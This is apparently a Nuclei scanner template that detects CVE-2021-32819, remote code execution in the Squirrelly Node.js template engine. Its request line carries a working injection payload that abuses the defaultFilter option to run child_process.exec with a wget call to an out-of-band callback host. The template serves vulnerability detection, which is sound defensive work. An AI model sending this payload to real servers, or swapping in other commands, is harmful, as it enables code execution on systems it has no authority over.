id: CVE-2021-32819 info: name: Nodejs Squirrelly - Remote Code Execution author: pikpikcu severity: high description: | Nodejs Squirrelly is susceptible to remote code execution. Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. remediation: | Update to the latest version of Nodejs Squirrelly template engine to mitigate the vulnerability. reference: - https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/ - https://www.linuxlz.com/aqld/2331.html - https://blog.diefunction.io/vulnerabilities/ghsl-2021-023 - https://nvd.nist.gov/vuln/detail/CVE-2021-32819 - https://github.com/squirrellyjs/squirrelly/commit/c12418a026f73df645ba927fd29358efe02fed1e classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-32819 cwe-id: CWE-200,NVD-CWE-noinfo epss-score: 0.82753 epss-percentile: 0.98332 cpe: cpe:2.3:a:squirrelly:squirrelly:8.0.8:*:*:*:*:*:*:* metadata: max-request: 1 vendor: squirrelly product: squirrelly tags: cve2021,cve,nodejs,rce,oast,squirrelly http: - method: GET path: - '{{BaseURL}}/?Express=aaaa&autoEscape=&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://{{interactsh-url}}%27);//' matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" - type: word part: interactsh_request words: - "User-Agent: Wget" # digest: 4b0a00483046022100aa7ca2c92f79ac28fd2150b51227335436fd18e936100074e82d284f2198fd38022100cae16de21e1e26871dbb8f7a3b598d17d4ed865611dbec02cdc8e762181bcceb:922c64590222798bb761d5b6d8e72950